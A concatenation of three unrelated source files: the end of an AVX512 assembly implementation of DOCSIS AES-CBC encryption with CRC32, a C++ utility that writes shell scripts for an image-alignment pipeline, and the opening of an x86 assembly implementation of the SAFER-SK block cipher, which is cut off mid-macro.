vaesenclast %%XCIPH6, [%%KEYS6 + 16*i]
vaesenclast %%XCIPH7, [%%KEYS7 + 16*i]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; store cipher text
;; - XCIPHx is an IV for the next block
mov %%GT8, [%%ARG + _aesarg_out + 8*0]
mov %%GT9, [%%ARG + _aesarg_out + 8*1]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH0
vmovdqu64 [%%GT9 + %%IDX], %%XCIPH1
mov %%GT8, [%%ARG + _aesarg_out + 8*2]
mov %%GT9, [%%ARG + _aesarg_out + 8*3]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH2
vmovdqu64 [%%GT9 + %%IDX], %%XCIPH3
mov %%GT8, [%%ARG + _aesarg_out + 8*4]
mov %%GT9, [%%ARG + _aesarg_out + 8*5]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH4
vmovdqu64 [%%GT9 + %%IDX], %%XCIPH5
mov %%GT8, [%%ARG + _aesarg_out + 8*6]
mov %%GT9, [%%ARG + _aesarg_out + 8*7]
vmovdqu64 [%%GT8 + %%IDX], %%XCIPH6
vmovdqu64 [%%GT9 + %%IDX], %%XCIPH7
add %%IDX, 16
%%_enc_done:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; update IV
vmovdqa64 [%%ARG + _aesarg_IV + 16*0], %%XCIPH0
vmovdqa64 [%%ARG + _aesarg_IV + 16*1], %%XCIPH1
vmovdqa64 [%%ARG + _aesarg_IV + 16*2], %%XCIPH2
vmovdqa64 [%%ARG + _aesarg_IV + 16*3], %%XCIPH3
vmovdqa64 [%%ARG + _aesarg_IV + 16*4], %%XCIPH4
vmovdqa64 [%%ARG + _aesarg_IV + 16*5], %%XCIPH5
vmovdqa64 [%%ARG + _aesarg_IV + 16*6], %%XCIPH6
vmovdqa64 [%%ARG + _aesarg_IV + 16*7], %%XCIPH7
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; update IN and OUT pointers
vpbroadcastq %%ZT0, %%IDX
vpaddq %%ZT1, %%ZT0, [%%ARG + _aesarg_in]
vpaddq %%ZT2, %%ZT0, [%%ARG + _aesarg_out]
vmovdqu64 [%%ARG + _aesarg_in], %%ZT1
vmovdqu64 [%%ARG + _aesarg_out], %%ZT2
%endmacro ; AES_CBC_ENC_CRC32_PARALLEL
;; =====================================================================
;; =====================================================================
;; DOCSIS SEC BPI + CRC32 SUBMIT / FLUSH macro
;; =====================================================================
%macro SUBMIT_FLUSH_DOCSIS_CRC32 49
%define %%STATE %1 ; [in/out] GPR with pointer to arguments structure (updated on output)
%define %%JOB %2 ; [in] number of bytes to be encrypted on all lanes
%define %%GT0 %3 ; [clobbered] GP register
%define %%GT1 %4 ; [clobbered] GP register
%define %%GT2 %5 ; [clobbered] GP register
%define %%GT3 %6 ; [clobbered] GP register
%define %%GT4 %7 ; [clobbered] GP register
%define %%GT5 %8 ; [clobbered] GP register
%define %%GT6 %9 ; [clobbered] GP register
%define %%GT7 %10 ; [clobbered] GP register
%define %%GT8 %11 ; [clobbered] GP register
%define %%GT9 %12 ; [clobbered] GP register
%define %%GT10 %13 ; [clobbered] GP register
%define %%GT11 %14 ; [clobbered] GP register
%define %%GT12 %15 ; [clobbered] GP register
%define %%ZT0 %16 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT1 %17 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT2 %18 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT3 %19 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT4 %20 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT5 %21 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT6 %22 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT7 %23 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT8 %24 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT9 %25 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT10 %26 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT11 %27 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT12 %28 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT13 %29 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT14 %30 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT15 %31 ; [clobbered] ZMM register (zmm0 - zmm15)
%define %%ZT16 %32 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT17 %33 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT18 %34 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT19 %35 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT20 %36 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT21 %37 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT22 %38 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT23 %39 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT24 %40 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT25 %41 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT26 %42 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT27 %43 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT28 %44 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT29 %45 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT30 %46 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%ZT31 %47 ; [clobbered] ZMM register (zmm16 - zmm31)
%define %%SUBMIT_FLUSH %48 ; [in] "submit" or "flush"; %%JOB ignored for "flush"
%define %%NROUNDS %49 ; [in] Number of rounds (9 or 13, based on key size)
%define %%idx %%GT0
%define %%unused_lanes %%GT3
%define %%job_rax rax
%define %%len2 arg2
%ifidn %%SUBMIT_FLUSH, submit
;; /////////////////////////////////////////////////
;; SUBMIT
; idx needs to be in rbp
%define %%len %%GT0
%define %%tmp %%GT0
%define %%lane %%GT1
%define %%iv %%GT2
mov %%unused_lanes, [%%STATE + _aes_unused_lanes]
mov %%lane, %%unused_lanes
and %%lane, 0xF
shr %%unused_lanes, 4
mov %%len, [%%JOB + _msg_len_to_cipher_in_bytes]
;; DOCSIS may pass size unaligned to block size
and %%len, -16
mov %%iv, [%%JOB + _iv]
mov [%%STATE + _aes_unused_lanes], %%unused_lanes
mov [%%STATE + _aes_job_in_lane + %%lane*8], %%JOB
vmovdqa xmm0, [%%STATE + _aes_lens]
XVPINSRW xmm0, xmm1, %%tmp, %%lane, %%len, scale_x16
vmovdqa [%%STATE + _aes_lens], xmm0
mov %%tmp, [%%JOB + _src]
add %%tmp, [%%JOB + _cipher_start_src_offset_in_bytes]
vmovdqu xmm0, [%%iv]
mov [%%STATE + _aes_args_in + %%lane*8], %%tmp
mov %%tmp, [%%JOB + _enc_keys]
mov [%%STATE + _aes_args_keys + %%lane*8], %%tmp
mov %%tmp, [%%JOB + _dst]
mov [%%STATE + _aes_args_out + %%lane*8], %%tmp
mov byte [%%STATE + _docsis_crc_args_done + %%lane], CRC_LANE_STATE_DONE
shl %%lane, 4 ; multiply by 16
vmovdqa64 [%%STATE + _aes_args_IV + %%lane], xmm0
cmp qword [%%JOB + _msg_len_to_hash_in_bytes], 14
jb %%_crc_complete
;; there is CRC to calculate - now in one go or in chunks
;; - load init value into the lane
vmovdqa64 XWORD(%%ZT0), [rel init_crc_value]
vmovdqa64 [%%STATE + _docsis_crc_args_init + %%lane], XWORD(%%ZT0)
shr %%lane, 4
mov %%GT6, [%%JOB + _src]
add %%GT6, [%%JOB + _hash_start_src_offset_in_bytes]
prefetchw [%%GT6 + 0*64]
prefetchw [%%GT6 + 1*64]
vmovdqa64 XWORD(%%ZT1), [rel rk1]
cmp qword [%%JOB + _msg_len_to_cipher_in_bytes], (3 * 16)
jae %%_crc_in_chunks
;; this is short message - compute whole CRC in one go
mov %%GT5, [%%JOB + _msg_len_to_hash_in_bytes]
mov [%%STATE + _docsis_crc_args_len + %%lane*2], WORD(%%GT5)
;; GT6 - ptr, GT5 - length, ZT1 - CRC_MUL, ZT0 - CRC_IN_OUT
ETHERNET_FCS_CRC %%GT6, %%GT5, %%GT7, XWORD(%%ZT0), %%GT2, \
XWORD(%%ZT1), XWORD(%%ZT2), XWORD(%%ZT3), XWORD(%%ZT4)
mov %%GT6, [%%JOB + _src]
add %%GT6, [%%JOB + _hash_start_src_offset_in_bytes]
add %%GT6, [%%JOB + _msg_len_to_hash_in_bytes]
mov [%%GT6], DWORD(%%GT7)
shl %%lane, 4
mov [%%STATE + _docsis_crc_args_init + %%lane], DWORD(%%GT7)
shr %%lane, 4
jmp %%_crc_complete
%%_crc_in_chunks:
;; CRC in chunks will follow
mov %%GT5, [%%JOB + _msg_len_to_cipher_in_bytes]
sub %%GT5, 4
mov [%%STATE + _docsis_crc_args_len + %%lane*2], WORD(%%GT5)
mov byte [%%STATE + _docsis_crc_args_done + %%lane], CRC_LANE_STATE_TO_START
;; now calculate only CRC on bytes before cipher start
mov %%GT5, [%%JOB + _cipher_start_src_offset_in_bytes]
sub %%GT5, [%%JOB + _hash_start_src_offset_in_bytes]
;; GT6 - ptr, GT5 - length, ZT1 - CRC_MUL, ZT0 - CRC_IN_OUT
ETHERNET_FCS_CRC %%GT6, %%GT5, %%GT7, XWORD(%%ZT0), %%GT2, \
XWORD(%%ZT1), XWORD(%%ZT2), XWORD(%%ZT3), XWORD(%%ZT4)
not DWORD(%%GT7)
vmovd xmm8, DWORD(%%GT7)
shl %%lane, 4
vmovdqa64 [%%STATE + _docsis_crc_args_init + %%lane], xmm8
shr %%lane, 4
%%_crc_complete:
cmp %%unused_lanes, 0xf
je %%_load_lens
xor %%job_rax, %%job_rax ; return NULL
jmp %%_return
%%_load_lens:
;; load lens into xmm0
vmovdqa64 xmm0, [%%STATE + _aes_lens]
%else
;; /////////////////////////////////////////////////
;; FLUSH
%define %%tmp1 %%GT1
%define %%good_lane %%GT2
%define %%tmp %%GT3
%define %%tmp2 %%GT4
%define %%tmp3 %%GT5
; check for empty
mov %%unused_lanes, [%%STATE + _aes_unused_lanes]
bt %%unused_lanes, 32+3
jnc %%_find_non_null_lane
xor %%job_rax, %%job_rax ; return NULL
jmp %%_return
%%_find_non_null_lane:
; find a lane with a non-null job
xor %%good_lane, %%good_lane
cmp qword [%%STATE + _aes_job_in_lane + 1*8], 0
cmovne %%good_lane, [rel one]
cmp qword [%%STATE + _aes_job_in_lane + 2*8], 0
cmovne %%good_lane, [rel two]
cmp qword [%%STATE + _aes_job_in_lane + 3*8], 0
cmovne %%good_lane, [rel three]
cmp qword [%%STATE + _aes_job_in_lane + 4*8], 0
cmovne %%good_lane, [rel four]
cmp qword [%%STATE + _aes_job_in_lane + 5*8], 0
cmovne %%good_lane, [rel five]
cmp qword [%%STATE + _aes_job_in_lane + 6*8], 0
cmovne %%good_lane, [rel six]
cmp qword [%%STATE + _aes_job_in_lane + 7*8], 0
cmovne %%good_lane, [rel seven]
; copy good_lane to empty lanes
mov %%tmp1, [%%STATE + _aes_args_in + %%good_lane*8]
mov %%tmp2, [%%STATE + _aes_args_out + %%good_lane*8]
mov %%tmp3, [%%STATE + _aes_args_keys + %%good_lane*8]
mov WORD(%%GT6), [%%STATE + _docsis_crc_args_len + %%good_lane*2]
mov BYTE(%%GT7), [%%STATE + _docsis_crc_args_done + %%good_lane]
shl %%good_lane, 4 ; multiply by 16
vmovdqa64 xmm2, [%%STATE + _aes_args_IV + %%good_lane]
vmovdqa64 xmm3, [%%STATE + _docsis_crc_args_init + %%good_lane]
vmovdqa64 xmm0, [%%STATE + _aes_lens]
%assign I 0
%rep 8
cmp qword [%%STATE + _aes_job_in_lane + I*8], 0
jne APPEND(%%_skip_,I)
mov [%%STATE + _aes_args_in + I*8], %%tmp1
mov [%%STATE + _aes_args_out + I*8], %%tmp2
mov [%%STATE + _aes_args_keys + I*8], %%tmp3
mov [%%STATE + _docsis_crc_args_len + I*2], WORD(%%GT6)
mov [%%STATE + _docsis_crc_args_done + I], BYTE(%%GT7)
vmovdqa64 [%%STATE + _aes_args_IV + I*16], xmm2
vmovdqa64 [%%STATE + _docsis_crc_args_init + I*16], xmm3
vporq xmm0, xmm0, [rel len_masks + 16*I]
APPEND(%%_skip_,I):
%assign I (I+1)
%endrep
%endif ;; SUBMIT / FLUSH
%%_find_min_job:
;; Find min length (xmm0 includes vector of 8 lengths)
;; vmovdqa64 xmm0, [%%STATE + _aes_lens] => not needed xmm0 already loaded with lengths
vphminposuw xmm1, xmm0
vpextrw DWORD(%%len2), xmm1, 0 ; min value
vpextrw DWORD(%%idx), xmm1, 1 ; min index (0...7)
cmp %%len2, 0
je %%_len_is_0
vpshufb xmm1, xmm1, [rel dupw] ; duplicate words across all lanes
vpsubw xmm0, xmm0, xmm1
vmovdqa64 [%%STATE + _aes_lens], xmm0
mov [rsp + _idx], %%idx
AES_CBC_ENC_CRC32_PARALLEL %%STATE, %%len2, \
%%GT0, %%GT1, %%GT2, %%GT3, %%GT4, %%GT5, %%GT6, \
%%GT7, %%GT8, %%GT9, %%GT10, %%GT11, %%GT12, \
%%ZT0, %%ZT1, %%ZT2, %%ZT3, %%ZT4, %%ZT5, %%ZT6, %%ZT7, \
%%ZT8, %%ZT9, %%ZT10, %%ZT11, %%ZT12, %%ZT13, %%ZT14, %%ZT15, \
%%ZT16, %%ZT17, %%ZT18, %%ZT19, %%ZT20, %%ZT21, %%ZT22, %%ZT23, \
%%ZT24, %%ZT25, %%ZT26, %%ZT27, %%ZT28, %%ZT29, %%ZT30, %%ZT31, \
%%NROUNDS
mov %%idx, [rsp + _idx]
%%_len_is_0:
mov %%job_rax, [%%STATE + _aes_job_in_lane + %%idx*8]
;; CRC the remaining bytes
cmp byte [%%STATE + _docsis_crc_args_done + %%idx], CRC_LANE_STATE_DONE
je %%_crc_is_complete
;; some bytes left to complete CRC
movzx %%GT3, word [%%STATE + _docsis_crc_args_len + %%idx*2]
mov %%GT4, [%%STATE + _aes_args_in + %%idx*8]
or %%GT3, %%GT3
jz %%_crc_read_reduce
shl %%idx, 1
vmovdqa64 xmm8, [%%STATE + _docsis_crc_args_init + %%idx*8]
shr %%idx, 1
lea %%GT5, [rel pshufb_shf_table]
vmovdqu64 xmm10, [%%GT5 + %%GT3]
vmovdqu64 xmm9, [%%GT4 - 16 + %%GT3]
vmovdqa64 xmm11, xmm8
vpshufb xmm8, xmm10 ; top num_bytes with LSB xcrc
vpxorq xmm10, [rel mask3]
vpshufb xmm11, xmm10 ; bottom (16 - num_bytes) with MSB xcrc
;; data num_bytes (top) blended with MSB bytes of CRC (bottom)
vpblendvb xmm11, xmm9, xmm10
;; final CRC calculation
vmovdqa64 xmm9, [rel rk1]
CRC_CLMUL xmm8, xmm9, xmm11, xmm12
jmp %%_crc_reduce
;; complete the last block
%%_crc_read_reduce:
shl %%idx, 1
vmovdqa64 xmm8, [%%STATE + _docsis_crc_args_init + %%idx*8]
shr %%idx, 1
%%_crc_reduce:
;; GT3 - offset in bytes to put the CRC32 value into
;; GT4 - src buffer pointer
;; xmm8 - current CRC value for reduction
;; - write CRC value into SRC buffer for further cipher
;; - keep CRC value in init field
CRC32_REDUCE_128_TO_32 %%GT7, xmm8, xmm9, xmm10, xmm11
mov [%%GT4 + %%GT3], DWORD(%%GT7)
shl %%idx, 1
mov [%%STATE + _docsis_crc_args_init + %%idx*8], DWORD(%%GT7)
shr %%idx, 1
%%_crc_is_complete:
mov %%GT3, [%%job_rax + _msg_len_to_cipher_in_bytes]
and %%GT3, 0xf
jz %%_no_partial_block_cipher
;; AES128/256-CFB on the partial block
mov %%GT4, [%%STATE + _aes_args_in + %%idx*8]
mov %%GT5, [%%STATE + _aes_args_out + %%idx*8]
mov %%GT6, [%%job_rax + _enc_keys]
shl %%idx, 1
vmovdqa64 xmm2, [%%STATE + _aes_args_IV + %%idx*8]
shr %%idx, 1
lea %%GT2, [rel byte_len_to_mask_table]
kmovw k1, [%%GT2 + %%GT3*2]
vmovdqu8 xmm3{k1}{z}, [%%GT4]
vpxorq xmm1, xmm2, [%%GT6 + 0*16]
%assign i 1
%rep %%NROUNDS
vaesenc xmm1, [%%GT6 + i*16]
%assign i (i + 1)
%endrep
vaesenclast xmm1, [%%GT6 + i*16]
vpxorq xmm1, xmm1, xmm3
vmovdqu8 [%%GT5]{k1}, xmm1
%%_no_partial_block_cipher:
;; - copy CRC value into auth tag
;; - process completed job "idx"
shl %%idx, 1
mov DWORD(%%GT7), [%%STATE + _docsis_crc_args_init + %%idx*8]
shr %%idx, 1
mov %%GT6, [%%job_rax + _auth_tag_output]
mov [%%GT6], DWORD(%%GT7)
mov %%unused_lanes, [%%STATE + _aes_unused_lanes]
mov qword [%%STATE + _aes_job_in_lane + %%idx*8], 0
or dword [%%job_rax + _status], IMB_STATUS_COMPLETED_CIPHER
shl %%unused_lanes, 4
or %%unused_lanes, %%idx
mov [%%STATE + _aes_unused_lanes], %%unused_lanes
%ifdef SAFE_DATA
%ifidn %%SUBMIT_FLUSH, submit
;; Clear IV
vpxor xmm0, xmm0
shl %%idx, 3 ; multiply by 8
mov qword [%%STATE + _aes_args_keys + %%idx], 0
vmovdqa [%%STATE + _docsis_crc_args_init + %%idx*2], xmm0
%else
;; Clear IVs of returned job and "NULL lanes"
vpxor xmm0, xmm0
%assign I 0
%rep 8
cmp qword [%%STATE + _aes_job_in_lane + I*8], 0
jne APPEND(%%_skip_clear_,I)
mov qword [%%STATE + _aes_args_keys + I*8], 0
vmovdqa [%%STATE + _docsis_crc_args_init + I*16], xmm0
APPEND(%%_skip_clear_,I):
%assign I (I+1)
%endrep
%endif ;; SUBMIT / FLUSH
%endif ;; SAFE_DATA
%%_return:
%endmacro
;; ===========================================================================
;; JOB* SUBMIT_JOB_DOCSIS128_SEC_CRC_ENC(MB_MGR_AES_OOO *state, IMB_JOB *job)
;; arg 1 : state
;; arg 2 : job
align 64
MKGLOBAL(submit_job_aes_docsis128_enc_crc32_avx512,function,internal)
submit_job_aes_docsis128_enc_crc32_avx512:
endbranch64
FUNC_ENTRY
SUBMIT_FLUSH_DOCSIS_CRC32 arg1, arg2, \
TMP0, TMP1, TMP2, TMP3, TMP4, TMP5, TMP6, \
TMP7, TMP8, TMP9, TMP10, TMP11, TMP12, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, \
zmm8, zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15, \
zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
submit, 9
FUNC_EXIT
ret
;; ===========================================================================
;; JOB* SUBMIT_JOB_DOCSIS256_SEC_CRC_ENC(MB_MGR_AES_OOO *state, IMB_JOB *job)
;; arg 1 : state
;; arg 2 : job
align 64
MKGLOBAL(submit_job_aes_docsis256_enc_crc32_avx512,function,internal)
submit_job_aes_docsis256_enc_crc32_avx512:
endbranch64
FUNC_ENTRY
SUBMIT_FLUSH_DOCSIS_CRC32 arg1, arg2, \
TMP0, TMP1, TMP2, TMP3, TMP4, TMP5, TMP6, \
TMP7, TMP8, TMP9, TMP10, TMP11, TMP12, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, \
zmm8, zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15, \
zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
submit, 13
FUNC_EXIT
ret
;; =====================================================================
;; JOB* FLUSH128(MB_MGR_AES_OOO *state)
;; arg 1 : state
align 64
MKGLOBAL(flush_job_aes_docsis128_enc_crc32_avx512,function,internal)
flush_job_aes_docsis128_enc_crc32_avx512:
endbranch64
FUNC_ENTRY
SUBMIT_FLUSH_DOCSIS_CRC32 arg1, arg2, \
TMP0, TMP1, TMP2, TMP3, TMP4, TMP5, TMP6, \
TMP7, TMP8, TMP9, TMP10, TMP11, TMP12, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, \
zmm8, zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15, \
zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
flush, 9
FUNC_EXIT
ret
;; =====================================================================
;; JOB* FLUSH256(MB_MGR_AES_OOO *state)
;; arg 1 : state
align 64
MKGLOBAL(flush_job_aes_docsis256_enc_crc32_avx512,function,internal)
flush_job_aes_docsis256_enc_crc32_avx512:
endbranch64
FUNC_ENTRY
SUBMIT_FLUSH_DOCSIS_CRC32 arg1, arg2, \
TMP0, TMP1, TMP2, TMP3, TMP4, TMP5, TMP6, \
TMP7, TMP8, TMP9, TMP10, TMP11, TMP12, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, \
zmm8, zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15, \
zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
flush, 13
FUNC_EXIT
ret
mksection stack-noexec
|
//
// Create the top-level scripts for alignment.
//
#include "Cmdline.h"
#include "Disk.h"
#include "File.h"
#include <string.h>
#include <time.h>
/* --------------------------------------------------------------- */
/* Macros -------------------------------------------------------- */
/* --------------------------------------------------------------- */
/* --------------------------------------------------------------- */
/* Types --------------------------------------------------------- */
/* --------------------------------------------------------------- */
/* --------------------------------------------------------------- */
/* CArgs_scr ----------------------------------------------------- */
/* --------------------------------------------------------------- */
class CArgs_scr {
public:
char script[2048],
idb[2048];
char *infile;
int zmin,
zmax;
public:
CArgs_scr()
{
script[0] = 0;
idb[0] = 0;
infile = NULL;
zmin = 0;
zmax = 32768;
};
void SetCmdLine( int argc, char* argv[] );
};
/* --------------------------------------------------------------- */
/* Statics ------------------------------------------------------- */
/* --------------------------------------------------------------- */
static CArgs_scr gArgs;
static FILE* flog = NULL;
/* --------------------------------------------------------------- */
/* SetCmdLine ---------------------------------------------------- */
/* --------------------------------------------------------------- */
void CArgs_scr::SetCmdLine( int argc, char* argv[] )
{
// start log
flog = FileOpenOrDie( "topscripts.log", "w" );
// log start time
time_t t0 = time( NULL );
char atime[32];
strcpy( atime, ctime( &t0 ) );
atime[24] = '\0'; // remove the newline
fprintf( flog, "Create top-level scripts: %s ", atime );
// parse command line args
if( argc < 5 ) {
printf(
"Usage: topscripts <infile> -script=scriptpath"
" -idb=idbpath -z=i,j.\n" );
exit( 42 );
}
vector<int> vi;
const char *pchar;
for( int i = 1; i < argc; ++i ) {
// echo to log
fprintf( flog, "%s ", argv[i] );
if( argv[i][0] != '-' )
infile = argv[i];
else if( GetArgStr( pchar, "-script=", argv[i] ) )
DskAbsPath( script, sizeof(script), pchar, flog );
else if( GetArgStr( pchar, "-idb=", argv[i] ) )
DskAbsPath( idb, sizeof(idb), pchar, flog );
else if( GetArgList( vi, "-z=", argv[i] ) ) {
if( 2 == vi.size() ) {
zmin = vi[0];
zmax = vi[1];
}
else {
fprintf( flog,
"Bad format in -z [%s].\n", argv[i] );
exit( 42 );
}
}
else {
printf( "Did not understand option [%s].\n", argv[i] );
exit( 42 );
}
}
fprintf( flog, "\n" );
fflush( flog );
}
/* --------------------------------------------------------------- */
/* Write_dbgo ---------------------------------------------------- */
/* --------------------------------------------------------------- */
static void Write_dbgo()
{
char buf[2048];
FILE *f;
sprintf( buf, "dbgo.sht" );
f = FileOpenOrDie( buf, "w", flog );
fprintf( f, "#!/bin/sh\n" );
fprintf( f, "\n" );
fprintf( f, "# Purpose:\n" );
fprintf( f, "# Make image database 'idb' from text 'billfile' or xml file...\n" );
fprintf( f, "#\n" );
fprintf( f, "# > makeidb inpath -script=scriptpath -idb=idbpath -z=i,j\n" );
fprintf( f, "#\n" );
fprintf( f, "# Required:\n" );
fprintf( f, "# inPath\t\t\t\t;mylayout.txt or myxml.xml file\n" );
fprintf( f, "# -script=scriptpath\t;alignment pipeline params file\n" );
fprintf( f, "# -idb=idbpath\t\t\t;idb folder to create\n" );
fprintf( f, "# -z=i,j\t\t\t\t;process layers in range z=[i..j]\n" );
fprintf( f, "#\n" );
fprintf( f, "# NOTE: Omit -idb parameter to generate RawData.xml.\n" );
fprintf( f, "\n" );
fprintf( f, "\n" );
fprintf( f, "export MRC_TRIM=12\n" );
fprintf( f, "\n" );
fprintf( f, "makeidb %s -script=%s -idb=%s -z=%d,%d\n",
gArgs.infile, gArgs.script, gArgs.idb,
gArgs.zmin, gArgs.zmax );
fprintf( f, "\n" );
fclose( f );
FileScriptPerms( buf );
}
/* --------------------------------------------------------------- */
/* Write_mongo --------------------------------------------------- */
/* --------------------------------------------------------------- */
static void Write_mongo()
{
char buf[2048];
FILE *f;
sprintf( buf, "mongo.sht" );
f = FileOpenOrDie( buf, "w", flog );
fprintf( f, "#!/bin/sh\n" );
fprintf( f, "\n" );
fprintf( f, "# Purpose:\n" );
fprintf( f, "# Make alignment workspace 'temp' and create scripts within\n" );
fprintf( f, "# to drive montaging pipeline steps.\n" );
fprintf( f, "#\n" );
fprintf( f, "# > makemontages temp -script=scriptpath -idb=idbpath -z=i,j\n" );
fprintf( f, "#\n" );
fprintf( f, "# Required:\n" );
fprintf( f, "# temp\t\t\t\t\t;workspace directory to create\n" );
fprintf( f, "# -script=scriptpath\t;alignment pipeline params file\n" );
fprintf( f, "# -idb=idbpath\t\t\t;path to idb directory\n" );
fprintf( f, "# -z=i,j\t\t\t\t;align layers in range z=[i..j]\n" );
fprintf( f, "#\n" );
fprintf( f, "# Options:\n" );
fprintf( f, "# -exe=ptestalt\t\t\t;exe other than 'ptest'\n" );
fprintf( f, "\n" );
fprintf( f, "\n" );
fprintf( f, "wrk=temp0\n" );
fprintf( f, "\n" );
fprintf( f, "makemontages $wrk -script=%s -idb=%s -z=%d,%d\n",
gArgs.script, gArgs.idb,
gArgs.zmin, gArgs.zmax );
fprintf( f, "\n" );
fprintf( f, "cp prms/* $wrk\n" );
fprintf( f, "\n" );
fclose( f );
FileScriptPerms( buf );
}
/* --------------------------------------------------------------- */
/* main ---------------------------------------------------------- */
/* --------------------------------------------------------------- */
int main( int argc, char* argv[] )
{
/* ------------------ */
/* Parse command line */
/* ------------------ */
gArgs.SetCmdLine( argc, argv );
/* ------- */
/* Scripts */
/* ------- */
Write_dbgo();
Write_mongo();
/* ---- */
/* Done */
/* ---- */
fprintf( flog, "\n" );
fclose( flog );
return 0;
}
|
INCLUDE MISC.INC
MODULE SAFER
.386
PUBLIC _saferEncryptBlock, _saferDecryptBlock
; Code to implement the improved SAFER-SK form of the SAFER cipher,
; originally published as "SAFER K-64: A Byte-Oriented Block-Ciphering
; Algorithm", James L. Massey, "Fast Software Encryption", Lecture Notes in
; Computer Science No. 809, Springer-Verlag 1994, p.1. This code implements
; the 128-bit key extension designed by the Special Projects Team of the
; Ministry of Home Affairs, Singapore and published as "SAFER K-64: One Year
; Later", James L.Massey, presented at the K. U. Leuven Workshop on
; Algorithms, Leuven, Belgium, 14-16 December, 1994, to appear in "Fast
; Software Encryption II", Lecture Notes in Computer Science, Springer-Verlag
; 1995, along with Lars Knudsen's strengthened key schedule, presented in
; "A Key-Schedule Weakness in SAFER K-64," Lars Knudsen, presented at Crypto
; '95 in Santa Barbara, California.
;
; All parts of the SAFER-SK algorithm are non-proprietary and freely
; available for anyone to use as they see fit.
;
; Written 4 December 1995, Peter Gutmann <pgut01@cs.auckland.ac.nz>.
;
; This version is about 3 times as fast as the C implementation.
; The two-point Pseudo-Hadamard Transform
;
; b1 = 2a1 + a2
; b2 = a1 + a2
;
; and inverse two-point Pseudo-Hadamard Transform
;
; a1 = b1 - b2
; a2 = -b1 + 2b2
;
; which are used to create a three-dimensional PHT (ie independant two-point
; PHT's in each of three dimensions, which is why there are 2^3 = 8 bytes in
; the input and output of the PHT) through a decimation-by-two/fanning-out-
; by-two network. The PHT provides guaranteed complete diffusion within one
; linear layer.
PHT1 MACRO x, y
add y, x
ENDM
PHT2 MACRO x, y
add x, y
ENDM
IPHT1 MACRO x, y
sub x, y
ENDM
IPHT2 MACRO x, y
sub y, x
ENDM
; Since we have a great many independant operations we can interleave the two
; parts of the transform:
;
; PHT(x,y) -> { y += x; x += y; }
;
; with the PHT's surrounding it to eliminate pipeline stalls, and the same
; for the IPHT. Therefore we define the PHT in two parts PHT1 and PHT2 with
; a four-instruction interleave between the halves.
interleavePHT MACRO a, b, c, d, e, f, g, h
PHT1 a, b
PHT1 c, d
PHT1 e, f
PHT1 g, h
PHT2 a, b ; PHT( a, b );
PHT2 c, d ; PHT( c, d );
PHT2 e, f ; PHT( e, f );
PHT2 g, h ; PHT( g, h );
ENDM
interleaveIPHT MACRO a, b, c, d, e, f, g, h
IPHT1 a, b
IPHT1 c, d
IPHT1 e, f
IPHT1 g, h
IPHT2 a, b ; PHT( a, b );
IPHT2 c, d ; PHT( c, d );
IPHT2 e, f ; PHT( e, f );
IPHT2 g, h ; PHT( g, h );
ENDM
; Load the word register corresponding to a byte half-register into an
; address-capable word register in preparation for using it to index memory.
loadWordReg MACRO wordReg, byteReg
IF byteReg EQ al OR byteReg EQ ah
